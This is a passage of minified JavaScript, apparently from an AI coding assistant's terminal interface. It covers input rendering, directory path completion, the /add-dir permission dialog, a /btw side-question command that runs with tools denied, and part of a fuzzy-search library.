FXK({placeholder:A,value:K,showCursor:q,focus:Y,terminalFocus:z=!0}){let w=void 0;if(A){if(w=O1.dim(A),q&&Y&&z)w=A.length>0?O1.inverse(A[0])+O1.dim(A.slice(1)):O1.inverse(" ")}let H=K.length===0&&Boolean(A);return{renderedPlaceholder:w,showPlaceholder:H}}var QXK=k(()=>{u5()});function pXK(A,K){if(K.length===0)return[{text:A,start:0}];let q=[...K].sort((w,H)=>{if(w.start!==H.start)return w.start-H.start;return H.priority-w.priority}),Y=[],z=[];for(let w of q){if(w.start===w.end)continue;if(!z.some((J)=>w.start>=J.start&&w.start<J.end||w.end>J.start&&w.end<=J.end||w.start<=J.start&&w.end>=J.end))Y.push(w),z.push({start:w.start,end:w.end})}return new dXK(A).segment(Y)}class dXK{text;tokens;visiblePos=0;stringPos=0;tokenIdx=0;charIdx=0;codes=[];constructor(A){this.text=A;this.tokens=NXA(A)}segment(A){let K=[];for(let Y of A){let z=this.segmentTo(Y.start);if(z)K.push(z);let w=this.segmentTo(Y.end);if(w)w.highlight=Y,K.push(w)}let q=this.segmentTo(1/0);if(q)K.push(q);return K}segmentTo(A){if(this.tokenIdx>=this.tokens.length||A<=this.visiblePos)return null;let K=this.visiblePos;while(this.tokenIdx<this.tokens.length){let O=this.tokens[this.tokenIdx];if(O.type!=="ansi")break;this.codes.push(O),this.stringPos+=O.code.length,this.tokenIdx++}let q=this.stringPos,Y=[...this.codes];while(this.visiblePos<A&&this.tokenIdx<this.tokens.length){let O=this.tokens[this.tokenIdx];if(O.type==="ansi")this.codes.push(O),this.stringPos+=O.code.length,this.tokenIdx++;else{let X=A-this.visiblePos,$=O.value.length-this.charIdx,_=Math.min(X,$);if(this.stringPos+=_,this.visiblePos+=_,this.charIdx+=_,this.charIdx>=O.value.length)this.tokenIdx++,this.charIdx=0}}if(this.stringPos===q)return null;let z=UXK(Y),w=UXK(this.codes);this.codes=w;let H=ET(z),J=ET(D4A(w));return{text:H+this.text.substring(q,this.stringPos)+J,start:K}}}function UXK(A){return _r(A).filter((K)=>K.code!==K.endCode)}var cXK=k(()=>{TXA()});function lXK(A){let K=s(4),{text:q,highlights:Y}=A,w=pXK(q,Y===void 0?[]:Y),H=LS("requesting",q,!0,!1),J;if(K[0]!==H)J=($,_)=>{if(!$.highlight)return h$.createElement(V,{key:_},h$.createElement(a3,null,$.text));let{style:G}=$.highlight;if(G.type==="shimmer")return $.text.split("").map((Z,W)=>{let D=$.start+W;return h$.createElement(Dd,{key:`${_}-${W}`,char:Z,index:D,glimmerIndex:H,messageColor:G.baseColor,shimmerColor:G.shimmerColor})});else if(G.type==="solid")return h$.createElement(V,{key:_,color:G.color},h$.createElement(a3,null,$.text));return h$.createElement(V,{key:_},h$.createElement(a3,null,$.text))},K[0]=H,K[1]=J;else J=K[1];let O=w.map(J),X;if(K[2]!==O)X=h$.createElement(h$.Fragment,null,O),K[2]=O,K[3]=X;else X=K[3];return X}var h$;var iXK=k(()=>{cA();mA();W3A();QjA();cXK();h$=o($A(),1)});function HT1(A){let K=s(9),{inputState:q,children:Y,terminalFocus:z,...w}=A,{onInput:H,renderedValue:J}=q,{wrappedOnInput:O,isPasting:X}=mXK({onPaste:w.onPaste,onInput:(y,B)=>{if($&&B.return)return;H(y,B)},onImagePaste:w.onImagePaste}),$=X,{onIsPastingChange:_}=w;Ze.default.useEffect(()=>{if(_)_($)},[$,_]);let{showPlaceholder:G,renderedPlaceholder:Z}=FXK({placeholder:w.placeholder,value:w.value,showCursor:w.showCursor,focus:w.focus,terminalFocus:z});K8(O,{isActive:w.focus});let W=w.value&&w.value.trim().indexOf(" ")===-1||w.value&&w.value.endsWith(" "),D=Boolean(w.argumentHint&&w.value&&W&&w.value.startsWith("/")),j=w.showCursor&&w.highlights?w.highlights.filter((y)=>w.cursorOffset<y.start||w.cursorOffset>=y.end):w.highlights,M=j&&j.length>0,P=S,f=V,N="truncate-end",T=G&&w.placeholderElement?w.placeholderElement:G&&Z?Ze.default.createElement(a3,null,Z):M?Ze.default.createElement(lXK,{text:J,highlights:j}):Ze.default.createElement(a3,null,J),C=D&&Ze.default.createElement(V,{dimColor:!0},w.value?.endsWith(" ")?"":" ",w.argumentHint),R;if(K[0]!==f||K[1]!==Y||K[2]!==w||K[3]!==T||K[4]!==C)R=Ze.default.createElement(f,{wrap:N,dimColor:w.dimColor},T,C,Y),K[0]=f,K[1]=Y,K[2]=w,K[3]=T,K[4]=C,K[5]=R;else R=K[5];let x;if(K[6]!==P||K[7]!==R)x=Ze.default.createElement(P,null,R),K[6]=P,K[7]=R,K[8]=x;else x=K[8];return x}var Ze;var hB6=k(()=>{cA();mA();gXK();QXK();iXK();Ze=o($A(),1)});var bB6,IPA,DDJ,jDJ,xB6;var gpA=k(()=>{B5();bB6=o6()==="macos"?"opt":"alt",IPA=o6()==="windows"?{displayText:`${bB6}+v`,check:(A,K)=>K.meta&&(A==="v"||A==="V")}:{displayText:"ctrl+v",check:(A,K)=>K.ctrl&&(A==="v"||A==="V")},DDJ={displayText:`${bB6}+p`,check:(A,K)=>K.meta&&(A==="p"||A==="P")},jDJ={displayText:`${bB6}+t`,check:(A,K)=>K.meta&&(A==="t"||A==="T")},xB6={"†":"alt+t",π:"alt+p"}});function JT1(A,K){let{addNotification:q}=mK(),Y=SPA.useRef(A),z=SPA.useRef(0),w=SPA.useRef(null);SPA.useEffect(()=>{let H=Y.current;Y.current=A;return},[A,K,q])}var SPA,Mh2="clipboard-image-hint",Ph2=1000,Vh2=30000;var uB6=k(()=>{kz();wT1();gpA();SPA=o($A(),1)});function dq(A){let K=s(29),[q]=I4(),Y=yD();JT1(Y,!!A.onImagePaste);let{value:z,onChange:w,onSubmit:H,onExit:J,onExitMessage:O,onHistoryReset:X,onHistoryUp:$,onHistoryDown:_,onClearInput:G,focus:Z,mask:W,multiline:D}=A,j=A.showCursor?" ":"",M=A.highlightPastedText,P=Y&&!P1(process.env.CLAUDE_CODE_ACCESSIBILITY)?O1.inverse:fh2,f;if(K[0]!==q)f=h8("text",q),K[0]=q,K[1]=f;else f=K[1];let N;if(K[2]!==A.columns||K[3]!==A.cursorOffset||K[4]!==A.disableCursorMovementForUpDownKeys||K[5]!==A.focus||K[6]!==A.highlightPastedText||K[7]!==A.inlineGhostText||K[8]!==A.mask||K[9]!==A.multiline||K[10]!==A.onChange||K[11]!==A.onChangeCursorOffset||K[12]!==A.onClearInput||K[13]!==A.onExit||K[14]!==A.onExitMessage||K[15]!==A.onHistoryDown||K[16]!==A.onHistoryReset||K[17]!==A.onHistoryUp||K[18]!==A.onImagePaste||K[19]!==A.onSubmit||K[20]!==A.value||K[21]!==j||K[22]!==P||K[23]!==f)N={value:z,onChange:w,onSubmit:H,onExit:J,onExitMessage:O,onHistoryReset:X,onHistoryUp:$,onHistoryDown:_,onClearInput:G,focus:Z,mask:W,multiline:D,cursorChar:j,highlightPastedText:M,invert:P,themeText:f,columns:A.columns,onImagePaste:A.onImagePaste,disableCursorMovementForUpDownKeys:A.disableCursorMovementForUpDownKeys,externalOffset:A.cursorOffset,onOffsetChange:A.onChangeCursorOffset,inlineGhostText:A.inlineGhostText,dim:O1.dim},K[2]=A.columns,K[3]=A.cursorOffset,K[4]=A.disableCursorMovementForUpDownKeys,K[5]=A.focus,K[6]=A.highlightPastedText,K[7]=A.inlineGhostText,K[8]=A.mask,K[9]=A.multiline,K[10]=A.onChange,K[11]=A.onChangeCursorOffset,K[12]=A.onClearInput,K[13]=A.onExit,K[14]=A.onExitMessage,K[15]=A.onHistoryDown,K[16]=A.onHistoryReset,K[17]=A.onHistoryUp,K[18]=A.onImagePaste,K[19]=A.onSubmit,K[20]=A.value,K[21]=j,K[22]=P,K[23]=f,K[24]=N;else N=K[24];let T=KT1(N),C;if(K[25]!==Y||K[26]!==A||K[27]!==T)C=nXK.default.createElement(HT1,{inputState:T,terminalFocus:Y,highlights:A.highlights,...A}),K[25]=Y,K[26]=A,K[27]=T,K[28]=C;else C=K[28];return C}function fh2(A){return A}var nXK;var nH=k(()=>{cA();u5();IB6();hB6();uB6();mA();l6();nXK=o($A(),1)});import{dirname as Nh2,basename as Th2,join as aXK,sep as OT1}from"path";function eXK(A,K){if(!A)return{directory:K||x1(),prefix:""};let q=x7(A,K);if(A.endsWith("/")||A.endsWith(OT1))return{directory:q,prefix:""};let Y=Nh2(q),z=Th2(A);return{directory:Y,prefix:z}}function vh2(A){let K=rXK.get(A);if(K)return K;try{let z=BA().readdirSync(A).filter((w)=>w.isDirectory()&&!w.name.startsWith(".")).map((w)=>({name:w.name,path:aXK(A,w.name),type:"directory"})).slice(0,100);return rXK.set(A,z),z}catch(q){return KA(q instanceof Error?q:Error(String(q))),[]}}async function XT1(A,K={}){let{basePath:q=x1(),maxResults:Y=10}=K,{directory:z,prefix:w}=eXK(A,q),H=vh2(z),J=w.toLowerCase();return H.filter((X)=>X.name.toLowerCase().startsWith(J)).slice(0,Y).map((X)=>({id:X.path,displayText:X.name+"/",description:"directory",type:"directory"}))}function A$K(A){return A.startsWith("~/")||A.startsWith("/")||A.startsWith("./")||A.startsWith("../")||A==="~"||A==="."||A===".."}function Eh2(A,K=!1){let q=`${A}:${K}`,Y=oXK.get(q);if(Y)return Y;try{let H=BA().readdirSync(A).filter((J)=>K||!J.name.startsWith(".")).map((J)=>({name:J.name,path:aXK(A,J.name),type:J.isDirectory()?"directory":"file"})).sort((J,O)=>{if(J.type==="directory"&&O.type!=="directory")return-1;if(J.type!=="directory"&&O.type==="directory")return 1;return J.name.localeCompare(O.name)}).slice(0,100);return oXK.set(q,H),H}catch(z){return KA(z instanceof Error?z:Error(String(z))),[]}}async function K$K(A,K={}){let{basePath:q=x1(),maxResults:Y=10,includeFiles:z=!0,includeHidden:w=!1}=K,{directory:H,prefix:J}=eXK(A,q),O=Eh2(H,w),X=J.toLowerCase(),$=O.filter((Z)=>{if(!z&&Z.type==="file")return!1;return Z.name.toLowerCase().startsWith(X)}).slice(0,Y),_=A.includes("/")||A.includes(OT1),G="";if(_){let Z=A.lastIndexOf("/"),W=A.lastIndexOf(OT1),D=Math.max(Z,W);G=A.substring(0,D+1)}if(G.startsWith("./")||G.startsWith("."+OT1))G=G.slice(2);return $.map((Z)=>{let W=G+Z.name;return{id:W,displayText:Z.type==="directory"?W+"/":W,metadata:{type:Z.type}}})}var sXK=500,tXK=300000,rXK,oXK;var BB6=k(()=>{$yA();y4();e6();C1();Oz();rXK=new Ty({max:sXK,ttl:tXK}),oXK=new Ty({max:sXK,ttl:tXK})});function kh2(A){if(A.startsWith("file-"))return"+";if(A.startsWith("mcp-resource-"))return"◇";if(A.startsWith("agent-"))return"*";return"+"}function Ch2(A){return A.startsWith("file-")||A.startsWith("mcp-resource-")||A.startsWith("agent-")}function FpA(A){let K=s(21),{suggestions:q,selectedSuggestion:Y,query:z,maxColumnWidth:w}=A,{rows:H}=f8(),J=Math.min(6,Math.max(1,H-3));if(q.length===0)return null;let O;if(K[0]!==w||K[1]!==q)O=w??Math.max(...q.map(Rh2))+5,K[0]=w,K[1]=q,K[2]=O;else O=K[2];let X=O,$=Math.max(0,Math.min(Y-Math.floor(J/2),q.length-J)),_=Math.min($+J,q.length),G,Z,W;if(K[3]!==_||K[4]!==X||K[5]!==z||K[6]!==Y||K[7]!==$||K[8]!==q){let j=q.slice($,_);G=S,Z="column";let M;if(K[12]!==X||K[13]!==z||K[14]!==Y||K[15]!==q)M=(P)=>Iv.createElement(Lh2,{key:P.id,item:P,maxColumnWidth:X,isSelected:P.id===q[Y]?.id,query:z}),K[12]=X,K[13]=z,K[14]=Y,K[15]=q,K[16]=M;else M=K[16];W=j.map(M),K[3]=_,K[4]=X,K[5]=z,K[6]=Y,K[7]=$,K[8]=q,K[9]=G,K[10]=Z,K[11]=W}else G=K[9],Z=K[10],W=K[11];let D;if(K[17]!==G||K[18]!==Z||K[19]!==W)D=Iv.createElement(G,{flexDirection:Z},W),K[17]=G,K[18]=Z,K[19]=W,K[20]=D;else D=K[20];return D}function Rh2(A){return A.displayText.length}var Iv,mB6,Lh2,UDJ;var gB6=k(()=>{cA();mA();uK();Iv=o($A(),1),mB6=o($A(),1);Lh2=mB6.memo(function(K){let q=s(23),{item:Y,maxColumnWidth:z,isSelected:w}=K,H=f8().columns;if(Ch2(Y.id)){let C;if(q[0]!==Y.id)C=kh2(Y.id),q[0]=Y.id,q[1]=C;else C=q[1];let R=C,x=w?"suggestion":void 0,y=!w,B=Y.id.startsWith("file-"),b=Y.id.startsWith("mcp-resource-"),F=Y.description?3:0,Q;if(B){let c=Y.description?Math.min(20,Y.description.length):0,YA=H-2-4-F-c,e;if(q[2]!==Y.displayText||q[3]!==YA)e=CH4(Y.displayText,YA),q[2]=Y.displayText,q[3]=YA,q[4]=e;else e=q[4];Q=e}else if(b)Q=Y.displayText.length>30?Y.displayText.substring(0,29)+"…":Y.displayText;else Q=Y.displayText;let u=H-2-Q.length-F-4,d;if(Y.description){let c=Math.max(0,u),YA=Y.description.length>c?Y.description.substring(0,c-1)+"…":Y.description;d=`${R} ${Q} – ${YA}`}else d=`${R} ${Q}`;let r;if(q[5]!==y||q[6]!==d||q[7]!==x)r=Iv.createElement(V,{color:x,dimColor:y,wrap:"truncate"},d),q[5]=y,q[6]=d,q[7]=x,q[8]=r;else r=q[8];return r}let O=Math.floor(H*0.4),X=Math.min(z??Y.displayText.length+5,O),$=Y.color||(w?"suggestion":void 0),_=!w,G=Y.displayText;if(G.length>X-2)G=G.slice(0,X-3)+"…";let Z;if(q[9]!==X||q[10]!==G)Z=G.padEnd(X),q[9]=X,q[10]=G,q[11]=Z;else Z=q[11];let W=Z,D=Math.max(0,H-X-4),j=Y.description?Y.description.length>D?Y.description.slice(0,Math.max(0,D-1))+"…":Y.description:"",M;if(q[12]!==W||q[13]!==_||q[14]!==$)M=Iv.createElement(V,{color:$,dimColor:_},W),q[12]=W,q[13]=_,q[14]=$,q[15]=M;else M=q[15];let P=w?"suggestion":void 0,f=!w,N;if(q[16]!==P||q[17]!==f||q[18]!==j)N=Iv.createElement(V,{color:P,dimColor:f},j),q[16]=P,q[17]=f,q[18]=j,q[19]=N;else N=q[19];let T;if(q[20]!==M||q[21]!==N)T=Iv.createElement(V,null,M,N),q[20]=M,q[21]=N,q[22]=T;else T=q[22];return T});UDJ=mB6.memo(FpA)});function q$K(){let A=s(1),K;if(A[0]===Symbol.for("react.memo_cache_sentinel"))K=Cq.createElement(V,{dimColor:!0},"Claude Code will be able to read files in this directory and make edits when auto-accept edits is on."),A[0]=K;else K=A[0];return K}function Ih2(A){let K=s(5),{path:q}=A,Y;if(K[0]!==q)Y=Cq.createElement(V,{color:"permission"},q),K[0]=q,K[1]=Y;else Y=K[1];let z;if(K[2]===Symbol.for("react.memo_cache_sentinel"))z=Cq.createElement(q$K,null),K[2]=z;else z=K[2];let w;if(K[3]!==Y)w=Cq.createElement(S,{flexDirection:"column",paddingX:2,gap:1},Y,z),K[3]=Y,K[4]=w;else w=K[4];return w}function Sh2(A){let K=s(14),{value:q,onChange:Y,onSubmit:z,error:w,suggestions:H,selectedSuggestion:J}=A,O;if(K[0]===Symbol.for("react.memo_cache_sentinel"))O=Cq.createElement(V,null,"Enter the path to the directory:"),K[0]=O;else O=K[0];let X;if(K[1]!==Y||K[2]!==z||K[3]!==q)X=Cq.createElement(S,{borderDimColor:!0,borderStyle:"round",marginY:1,paddingLeft:1},Cq.createElement(dq,{showCursor:!0,placeholder:`Directory path${eA.ellipsis}`,value:q,onChange:Y,onSubmit:z,columns:80,cursorOffset:q.length,onChangeCursorOffset:hh2})),K[1]=Y,K[2]=z,K[3]=q,K[4]=X;else X=K[4];let $;if(K[5]!==J||K[6]!==H)$=H.length>0&&Cq.createElement(S,{marginBottom:1},Cq.createElement(FpA,{suggestions:H,selectedSuggestion:J})),K[5]=J,K[6]=H,K[7]=$;else $=K[7];let _;if(K[8]!==w)_=w&&Cq.createElement(V,{color:"error"},w),K[8]=w,K[9]=_;else _=K[9];let G;if(K[10]!==X||K[11]!==$||K[12]!==_)G=Cq.createElement(S,{flexDirection:"column"},O,X,$,_),K[10]=X,K[11]=$,K[12]=_,K[13]=G;else G=K[13];return G}function hh2(){}function QpA(A){let K=s(34),{onAddDirectory:q,onCancel:Y,permissionContext:z,directoryPath:w}=A,[H,J]=v9A.useState(""),[O,X]=v9A.useState(null),$;if(K[0]===Symbol.for("react.memo_cache_sentinel"))$=[],K[0]=$;else $=K[0];let[_,G]=v9A.useState($),[Z,W]=v9A.useState(0),D=n8(),j;if(K[1]===Symbol.for("react.memo_cache_sentinel"))j=async(c)=>{if(!c){G([]),W(0);return}let YA=await XT1(c);G(YA),W(0)},K[1]=j;else j=K[1];let P=fr(j,100),f,N;if(K[2]!==P||K[3]!==H)f=()=>{P(H)},N=[H,P],K[2]=P,K[3]=H,K[4]=f,K[5]=N;else f=K[4],N=K[5];v9A.useEffect(f,N);let T;if(K[6]===Symbol.for("react.memo_cache_sentinel"))T=(c)=>{let YA=c.id+"/";J(YA),X(null)},K[6]=T;else T=K[6];let C=T,R;if(K[7]!==q||K[8]!==z)R=(c)=>{let YA=upA(c,z);if(YA.resultType==="success")q(YA.absolutePath,!1);else X(BpA(YA))},K[7]=q,K[8]=z,K[9]=R;else R=K[9];let x=R,y;if(K[10]===Symbol.for("react.memo_cache_sentinel"))y={context:"Settings"},K[10]=y;else y=K[10];J6("confirm:no",Y,y);let B;if(K[11]!==x||K[12]!==Z||K[13]!==_)B=(c,YA)=>{if(_.length>0){if(YA.tab){let e=_[Z];if(e)C(e);return}if(YA.return){let e=_[Z];if(e)x(e.id+"/");return}if(YA.upArrow||YA.ctrl&&c==="p"){W((e)=>e<=0?_.length-1:e-1);return}if(YA.downArrow||YA.ctrl&&c==="n"){W((e)=>e>=_.length-1?0:e+1);return}}},K[11]=x,K[12]=Z,K[13]=_,K[14]=B;else B=K[14];K8(B);let b;if(K[15]!==w||K[16]!==q||K[17]!==Y)b=(c)=>{if(!w)return;let YA=c;A:switch(YA){case"yes-session":{q(w,!1);break A}case"yes-remember":{q(w,!0);break A}case"no":Y()}},K[15]=w,K[16]=q,K[17]=Y,K[18]=b;else b=K[18];let F=b,Q;if(K[19]===Symbol.for("react.memo_cache_sentinel"))Q=Cq.createElement(V,{bold:!0,color:"permission"},"Add directory to workspace"),K[19]=Q;else Q=K[19];let u;if(K[20]!==H||K[21]!==w||K[22]!==O||K[23]!==F||K[24]!==x||K[25]!==Z||K[26]!==_)u=Cq.createElement(S,{flexDirection:"column",borderStyle:"round",paddingLeft:1,paddingRight:1,gap:1,borderColor:"permission"},Q,w?Cq.createElement(S,{flexDirection:"column",gap:1},Cq.createElement(Ih2,{path:w}),Cq.createElement(E6,{options:yh2,onChange:F,onCancel:()=>F("no")})):Cq.createElement(S,{flexDirection:"column",gap:1,marginX:2},Cq.createElement(q$K,null),Cq.createElement(Sh2,{value:H,onChange:J,onSubmit:x,error:O,suggestions:_,selectedSuggestion:Z}))),K[20]=H,K[21]=w,K[22]=O,K[23]=F,K[24]=x,K[25]=Z,K[26]=_,K[27]=u;else u=K[27];let d;if(K[28]!==w||K[29]!==D)d=!w&&Cq.createElement(S,{marginLeft:3},D.pending?Cq.createElement(V,{dimColor:!0},"Press ",D.keyName," again to exit"):Cq.createElement(V,{dimColor:!0},"Tab to complete · Enter to add · Esc to cancel")),K[28]=w,K[29]=D,K[30]=d;else d=K[30];let r;if(K[31]!==u||K[32]!==d)r=Cq.createElement(Cq.Fragment,null,u,d),K[31]=u,K[32]=d,K[33]=r;else r=K[33];return r}var Cq,v9A,yh2;var FB6=k(()=>{cA();mA();Iq();C8();nH();eN1();g4();L3();BB6();gB6();aO();Cq=o($A(),1),v9A=o($A(),1),yh2=[{value:"yes-session",label:"Yes, for this session"},{value:"yes-remember",label:"Yes, and remember this directory"},{value:"no",label:"No"}]});import{dirname as bh2}from"path";function xh2(A){let K=s(10),{message:q,args:Y,onDone:z}=A,w,H;if(K[0]!==z)w=()=>{let $=setTimeout(z,0);return()=>clearTimeout($)},H=[z],K[0]=z,K[1]=w,K[2]=H;else w=K[1],H=K[2];Y$K.useEffect(w,H);let J;if(K[3]!==Y)J=We.default.createElement(V,{dimColor:!0},eA.pointer," /add-dir ",Y),K[3]=Y,K[4]=J;else J=K[4];let O;if(K[5]!==q)O=We.default.createElement(k6,null,We.default.createElement(V,null,q)),K[5]=q,K[6]=O;else O=K[6];let X;if(K[7]!==J||K[8]!==O)X=We.default.createElement(S,{flexDirection:"column"},J,O),K[7]=J,K[8]=O,K[9]=X;else X=K[9];return X}function upA(A,K){if(!A)return{resultType:"emptyPath"};let q=x7(A),Y=BA();if(!Y.existsSync(q))return{resultType:"pathNotFound",directoryPath:A,absolutePath:q};if(!Y.statSync(q).isDirectory())return{resultType:"notADirectory",directoryPath:A,absolutePath:q};let z=fMA(K);for(let w of z)if(HU(q,w))return{resultType:"alreadyInWorkingDirectory",directoryPath:A,workingDir:w};return{resultType:"success",absolutePath:q}}function BpA(A){switch(A.resultType){case"emptyPath":return"Please provide a directory path.";case"pathNotFound":return`Path ${O1.bold(A.absolutePath)} was not found.`;case"notADirectory":{let K=bh2(A.absolutePath);return`${O1.bold(A.directoryPath)} is not a directory. Did you mean to add the parent directory ${O1.bold(K)}?`}case"alreadyInWorkingDirectory":return`${O1.bold(A.directoryPath)} is already accessible within the existing working directory ${O1.bold(A.workingDir)}.`;case"success":return`Added ${O1.bold(A.absolutePath)} as a working directory.`}}var We,Y$K,uh2,z$K;var eN1=k(()=>{cA();g4();u5();mA();Xz();e6();Oz();FB6();Eq();LH();g2();We=o($A(),1),Y$K=o($A(),1);uh2={type:"local-jsx",name:"add-dir",description:"Add a new working directory",argumentHint:"<path>",isEnabled:()=>!0,isHidden:!1,async call(A,K,q){l7("multi-directory");let Y=q.trim(),z=await K.getAppState(),w=async(J,O=!1)=>{let $={type:"addDirectories",directories:[J],destination:O?"localSettings":"session"},_=await K.getAppState(),G=nY(_.toolPermissionContext,$);K.setAppState((D)=>({...D,toolPermissionContext:G}));let Z;if(O)try{Lb($),Z=`Added ${O1.bold(J)} as a working directory and saved to local settings`}catch(D){Z=`Added ${O1.bold(J)} as a working directory. Failed to save to local settings: ${D instanceof Error?D.message:"Unknown error"}`}else Z=`Added ${O1.bold(J)} as a working directory for this session`;let W=`${Z} ${O1.dim("· /permissions to manage")}`;A(W)};if(!Y)return We.default.createElement(QpA,{permissionContext:z.toolPermissionContext,onAddDirectory:w,onCancel:()=>{A("Did not add a working directory.")}});let H=upA(Y,z.toolPermissionContext);if(H.resultType!=="success"){let J=BpA(H);return We.default.createElement(xh2,{message:J,args:q,onDone:()=>A(J)})}return We.default.createElement(QpA,{directoryPath:H.absolutePath,permissionContext:z.toolPermissionContext,onAddDirectory:w,onCancel:()=>{A(`Did not add ${O1.bold(H.absolutePath)} as a working directory.`)}})},userFacingName(){return"add-dir"}},z$K=uh2});var w$K=k(()=>{i6();K7();I8()});function H$K(A){return[]}async function J$K({question:A,cacheSafeParams:K}){let q={...K.toolUseContext,options:{...K.toolUseContext.options,maxThinkingTokens:0}},Y=`<system-reminder>This is a side question from the user. You must answer this question directly in a single response. CRITICAL CONSTRAINTS: - You have NO tools available - you cannot read files, run commands, search, or take any actions - This is a one-off response - there will be no follow-up turns - You can ONLY provide information based on what you already know from the conversation context - NEVER say things like "Let me try...", "I'll now...", "Let me check...", or promise to take any action - If you don't know the answer, say so - do not offer to look it up or investigate Simply answer the question with the information you have.</system-reminder> ${A}`,z=await bS({promptMessages:[t1({content:Y})],cacheSafeParams:{...K,toolUseContext:q},canUseTool:async()=>({behavior:"deny",message:"Side questions cannot use tools",decisionReason:{type:"other",reason:"side_question"}}),querySource:"side_question",forkLabel:"side_question",maxTurns:1}),H=z.messages.find((O)=>O.type==="assistant")?.message?.content?.find((O)=>O.type==="text");return{response:H&&H.type==="text"?H.text.trim():null,usage:z.totalUsage}}var Bh2;var QB6=k(()=>{eB();$8();Bh2=/^\/btw\b/gi});function mh2(A){let K=s(21),{question:q,context:Y,onDone:z}=A,[w,H]=hPA.useState(null),[J,O]=hPA.useState(null),[X,$]=hPA.useState(0),_;if(K[0]===Symbol.for("react.memo_cache_sentinel"))_=()=>$(gh2),K[0]=_;else _=K[0];s9(_,w||J?null:80);let G;if(K[1]!==z)G=(N,T)=>{if(T.escape||T.return)z(void 0,{display:"skip"})},K[1]=z,K[2]=G;else G=K[2];K8(G);let Z,W;if(K[3]!==Y||K[4]!==q)Z=()=>{let N=e7();return async function(){try{let[R,x,y]=await Promise.all([sf(Y.options.tools,Y.options.mainLoopModel,[],Y.options.mcpClients),AX(),e0()]),B=await J$K({question:q,cacheSafeParams:{systemPrompt:R,userContext:x,systemContext:y,toolUseContext:Y,forkContextMessages:Y.messages}});if(!N.signal.aborted)if(B.response)H(B.response);else O("No response received")}catch(R){let x=R;if(!N.signal.aborted)O(x.message||"Failed to get response")}}(),()=>{N.abort()}},W=[q,Y],K[3]=Y,K[4]=q,K[5]=Z,K[6]=W;else Z=K[5],W=K[6];hPA.useEffect(Z,W);let D;if(K[7]===Symbol.for("react.memo_cache_sentinel"))D=Bw.createElement(V,{color:"warning",bold:!0},"/btw"," "),K[7]=D;else D=K[7];let j;if(K[8]!==q)j=Bw.createElement(S,null,D,Bw.createElement(V,{dimColor:!0},q)),K[8]=q,K[9]=j;else j=K[9];let M;if(K[10]!==J||K[11]!==X||K[12]!==w)M=Bw.createElement(S,{marginTop:1,marginLeft:2},J?Bw.createElement(V,{color:"error"},J):w?Bw.createElement(V,null,w):Bw.createElement(S,null,Bw.createElement(rFA,{frame:X,messageColor:"warning"}),Bw.createElement(V,{color:"warning"},"Answering..."))),K[10]=J,K[11]=X,K[12]=w,K[13]=M;else M=K[13];let P;if(K[14]!==J||K[15]!==w)P=(w||J)&&Bw.createElement(S,{marginTop:1},Bw.createElement(V,{dimColor:!0},"Press Enter or Escape to dismiss")),K[14]=J,K[15]=w,K[16]=P;else P=K[16];let f;if(K[17]!==j||K[18]!==M||K[19]!==P)f=Bw.createElement(S,{flexDirection:"column",paddingLeft:2,marginTop:1},j,M,P),K[17]=j,K[18]=M,K[19]=P,K[20]=f;else f=K[20];return f}function gh2(A){return A+1}var Bw,hPA,Fh2,O$K;var X$K=k(()=>{cA();mA();QB6();of();YC();TR6();aO();Jz();Bw=o($A(),1),hPA=o($A(),1);Fh2={type:"local-jsx",name:"btw",description:"Ask a quick side question without interrupting the main conversation",isEnabled:()=>!1,isHidden:!1,immediate:!0,argumentHint:"<question>",async call(A,K,q){let Y=q?.trim();if(!Y)return A("Usage: /btw <your question>",{display:"system"}),null;return Bw.createElement(mh2,{question:Y,context:K,onDone:A})},userFacingName(){return"btw"}},O$K=Fh2});function ad(A){return!Array.isArray?M$K(A)==="[object Array]":Array.isArray(A)}function Uh2(A){if(typeof A=="string")return A;let K=A+"";return K=="0"&&1/A==-Qh2?"-0":K}function ph2(A){return A==null?"":Uh2(A)}function vm(A){return typeof A==="string"}function D$K(A){return typeof A==="number"}function dh2(A){return A===!0||A===!1||ch2(A)&&M$K(A)=="[object Boolean]"}function j$K(A){return typeof A==="object"}function ch2(A){return j$K(A)&&A!==null}function Sv(A){return A!==void 0&&A!==null}function UB6(A){return!A.trim().length}function M$K(A){return A==null?A===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(A)}class P$K{constructor(A){this._keys=[],this._keyMap={};let K=0;A.forEach((q)=>{let Y=V$K(q);this._keys.push(Y),this._keyMap[Y.id]=Y,K+=Y.weight}),this._keys.forEach((q)=>{q.weight/=K})}get(A){return this._keyMap[A]}keys(){return this._keys}toJSON(){return JSON.stringify(this._keys)}}function V$K(A){let K=null,q=null,Y=null,z=1,w=null;if(vm(A)||ad(A))Y=A,K=_$K(A),q=pB6(A);else{if(!$$K.call(A,"name"))throw Error(rh2("name"));let H=A.name;if(Y=H,$$K.call(A,"weight")){if(z=A.weight,z<=0)throw Error(oh2(H))}K=_$K(H),q=pB6(H),w=A.getFn}return{path:K,id:q,weight:z,src:Y,getFn:w}}function _$K(A){return ad(A)?A:A.split(".")}function pB6(A){return ad(A)?A.join("."):A}function ah2(A,K){let q=[],Y=!1,z=(w,H,J)=>{if(!Sv(w))return;if(!H[J])q.push(w);else{let O=H[J],X=w[O];if(!Sv(X))return;if(J===H.length-1&&(vm(X)||D$K(X)||dh2(X)))q.push(ph2(X));else if(ad(X)){Y=!0;for(let $=0,_=X.length;$<_;$+=1)z(X[$],H,J+1)}else if(H.length)z(X,H,J+1)}};return z(A,vm(K)?K.split("."):K,0),Y?q:q[0]}function qb2(A=1,K=3){let q=new Map,Y=Math.pow(10,K);return{get(z){let w=z.match(Kb2).length;if(q.has(w))return q.get(w);let H=1/Math.pow(w,0.5*A),J=parseFloat(Math.round(H*Y)/Y);return q.set(w,J),J},clear(){q.clear()}}}class GT1{constructor({getFn:A=T5.getFn,fieldNormWeight:K=T5.fieldNormWeight}={}){this.norm=qb2(K,3),this.getFn=A,this.isCreated=!1,this.setIndexRecords()}setSources(A=[]){this.docs=A}setIndexRecords(A=[]){this.records=A}setKeys(A=[]){this.keys=A,this._keysMap={},A.forEach((K,q)=>{this._keysMap[K.id]=q})}create(){if(this.isCreated||!this.docs.length)return;if(this.isCreated=!0,vm(this.docs[0]))this.docs.forEach((A,K)=>{this._addString(A,K)});else this.docs.forEach((A,K)=>{this._addObject(A,K)});this.norm.clear()}add(A){let K=this.size();if(vm(A))this._addString(A,K);else this._addObject(A,K)}removeAt(A){this.records.splice(A,1);for(let K=A,q=this.size();K<q;K+=1)this.records[K].i-=1}getValueForItemAtKeyId(A,K){return A[this._keysMap[K]]}size(){return 